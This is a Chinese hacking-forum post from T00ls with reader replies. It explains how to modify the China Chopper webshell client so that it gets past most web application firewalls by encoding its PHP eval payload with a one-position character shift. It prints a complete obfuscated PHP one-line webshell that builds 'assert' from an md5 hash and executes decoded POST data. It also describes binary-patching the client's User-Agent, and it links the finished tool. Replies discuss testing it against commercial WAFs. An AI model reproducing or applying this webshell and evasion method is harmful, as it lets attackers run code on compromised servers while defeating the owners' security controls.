[元旦快乐]过大部分waf的菜刀

2016-12-31 02:06:33 48 6793 5


明天就是元旦了,在这里祝各位道友新年快乐,特送上元旦贺礼一份!多谢7哥(@7kbStorm)、@接地气、@0xShin的帮忙。
自求助帖:https://www.t00ls.com/thread-37428-1-1.html发布以后,该贴一直在本周热门榜第一位,直到“T00ls第四届(2016)年度人物风云榜 会员投票”开贴一天后才位居第二,说明好多人关注这个帖子。5楼也附上了一款过waf菜刀.后来研究过后有了一个过大部分waf 的方法。
思路:PHP版,发送的数据为:
密码=@eval(base64_decode($_POST[z0]));&z0=base64值
waf检测的时候不会把base64加密的数据解码来匹配正则,也就是说waf只匹配:@eval(base64_decode($_POST[z0]));
那我们把@eval(base64_decode($_POST[z0]));用凯撒密码加密方式来进行加密,在shell里进行解密,这样就可以绕过大部分waf了。

菜刀还是求助帖中5楼提供的刀,用C32打开,然后搜索@eval(base64_decode($_POST[z0])); ,并替换为:Afwbm)cbtf75`efdpef)%`QPTU\{1^**<     (Afwbm)cbtf75`efdpef)%`QPTU\{1^**<为@eval(base64_decode($_POST[z0])); 按照ascii码顺序表移动一位后的结果。)

PS:这里不用base64加密的原因在于加密后的数据长度和原数据长度不相等,修改较麻烦。
OK,然后保存一下,然后运行程序,抓取数据包发现:

的确已经修改完成。
然后在shell中添加代码:
$arr = stripcslashes($_POST[x]);
        for($i=0;$i<strlen($arr);$i++){
                $arr[$i]=chr(ord($arr[$i])-1);
        }
只需加上把post来的数据进行解码的就行,这样你可以直接把坛子里面的免杀马儿拿过来加一段代码就可以用了。其实还是很方便的,也不怕菜刀有后门,因为普通菜刀连不上。
比如:https://www.t00ls.com/viewthread.php?tid=37191 此贴中的一句话拿来做下修改:
<?php 
$a=md5('ssss');
echo $a.'';
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
$arr = stripcslashes($_POST['sx']);
for($i=0;$i<strlen($arr);$i++){
                $arr[$i]=chr(ord($arr[$i])-1);
        }
$z($arr);
?>
即可直接投入使用。

到这里还没有结束,因为这款菜刀比较老,是2011/11/16版的,UA头也是容易被拦截的,测试360网站卫士就拦截它,所以还要进行修改UA头,坛子里面有贴子:
https://www.t00ls.com/viewthread.php?tid=22812
照葫芦画瓢即可,但是这里要强调一点,也是自己遇到的一个坑点,由于改后的UA比原本的UA长,因此我们需要在程序领空的其他空白地方进行修改,免得覆盖程序代码,用C32修改以后:

这里看到C32里面显示的是文件偏移地址,而OD显示的是内存偏移地址,那两者该如何换算呢?
百度一下,有两种常用法子:
1.虚拟地址 = 基地址 + 相对虚拟地址     PS:没看懂
2.偏移量转换器 ,下载了一个转化发现:00000A70给转化成了A70,这也不对呀。。

问了别人一下:某友跟我讲要用一个星期去学习PE结构,不懂PE结构没法跟我说,但是:后来我发现,在OD可以直接搜索文件偏移地址:



然后调到原来UA的压栈地址,修改为新UA的内存地址,再保存:


成品下载:

TCV=0

只对php进行修改了,asp没搞懂,菜刀连接asp发送的数据包里面有多个Execute以及某些数据是%s代替的,因此,未对asp以及其他做修改,各位牛自己发挥吧。

关于作者

AdminTony65篇文章1095篇回复

评论48次

要评论?请先  登录  或  注册
  • 48楼
    2017-2-21 07:55

    现在好像被云锁提示了,直接就锁掉IP了。也有可能马的问题,我去继续测试一下,一会跟帖

  • 47楼
    2017-2-14 09:59

    暂时先看看大家用的好不好,我自己也测试一下,好不好用。这个东西嘛,我感觉具有时效性的比较多。

  • 46楼
    2017-2-7 13:00

    谢谢分享了,楼主共享精神不错

  • 45楼
    2017-2-7 10:24

    其实对于新版菜刀不太会用。。。

  • 44楼
    2017-1-30 19:08

    新版菜刀有没有用过!

  • 43楼
    2017-1-13 14:12
    034574

    我用了压缩包里的5.php 密码是sx,但是报错了HTTP/1.1 200 OKDate: Wed, 11 Jan 2017 14:55:45 GMTServer: Apache/2.4.25 (Debian)Vary: Accept-EncodingContent-Length: 395Connection: closeContent-Type: text/html; charset=UTF-88f60c8102d29fcd525162d02eed4566b<br>97<br>assert<br>@eval(base64_decode($_POSTz0]));<br /><b>Parse error</b>: syntax error, unexpected ']', expecting ',' or ')' in <b>/var/www/html/5.php(17) : assert code</b> on line <b>1</b><br /><br /><b>Catchable fatal error</b>: assert(): Failure evaluating code: @eval(base64_decode($_POSTz0])); in <b>/var/www/html/5.php</b> on line <b>17</b><br />其中 @eval(base64_decode($_POSTz0])); 好像不对吧,请大神看看

    1

    是的,当时疏忽了。。

  • 42楼
    2017-1-11 22:57

    我用了压缩包里的5.php 密码是sx,但是报错了

    HTTP/1.1 200 OK Date: Wed, 11 Jan 2017 14:55:45 GMT Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding Content-Length: 395 Connection: close Content-Type: text/html; charset=UTF-8   8f60c8102d29fcd525162d02eed4566b<br>97<br>assert<br>@eval(base64_decode($_POSTz0]));<br /> <b>Parse error</b>:  syntax error, unexpected ']', expecting ',' or ')' in <b>/var/www/html/5.php(17) : assert code</b> on line <b>1</b><br /> <br /> <b>Catchable fatal error</b>:  assert(): Failure evaluating code:  @eval(base64_decode($_POSTz0])); in <b>/var/www/html/5.php</b> on line <b>17</b><br />
    其中 @eval(base64_decode($_POSTz0])); 好像不对吧,请大神看看

  • 41楼
    2017-1-11 22:24
    S31L4ing

    凯撒密码加密,思路真的很赞,这样看来,别的加密方式应该也可以,只需要保证同等长度,下面把解密函数加上。赞一下!新年福利~

    1

    是呀waf其实不太高明简单的加密貌似就很有效,而且密钥可控,加密出来的东西毫waf认不得

  • 40楼
    2017-1-6 18:43

    这个需要支持一下,xi望不会这么快就被干掉了

  • 39楼
    2017-1-6 16:20

    收藏,试试其它的脚本语言

  • 38楼
    2017-1-6 16:20

    这姿势好,现在后门菜刀太多了~

  • 37楼
    2017-1-6 15:41

    这个厉害了,准备研究下

  • 36楼
    2017-1-6 14:13

    思路很赞 666

  • 35楼
    2017-1-6 11:57

    终于还是被发出来了。方法差不多,期待有更猥琐的思路?

  • 34楼
    2017-1-6 03:33

    思路真心不错,回去自己弄弄

  • 33楼
    2017-1-5 10:39

    hat就可以定义。楼主精神很好,不过外面的菜刀一直不敢用。

  • 32楼
    2017-1-5 10:35

    可以,不过一句话就不再是一句话了,需要加一段偏移代码,隐藏效果感觉不是特别好了

  • 31楼
    2017-1-3 21:42
    xiaodi

    感觉还是有局限性

    1

    的确。能想到让大多数一句话都能直接连接的方法 通杀waf是最完美的,第一次见迪哥回帖呀,都是看你的教程学的。

  • 30楼
    2017-1-3 21:40
    aoshid002

    用修改的软件上连接有360网站卫士的提示 无法解析 域名,,用自带浏览器访问 下面当前访问可能对网站安全造成威胁,已被网站卫士拦截。详情请点击这里拦截URL: 如果您是站长,请点击 站长绿色通道 使您的访问不再被拦截

    1

    你这是shell被拦截了吧/

  • 29楼
    2017-1-3 14:33

    看到这里很奇怪,怎么还是用的老版本的菜刀。菜刀不是出新版本了么,代码都做了更改。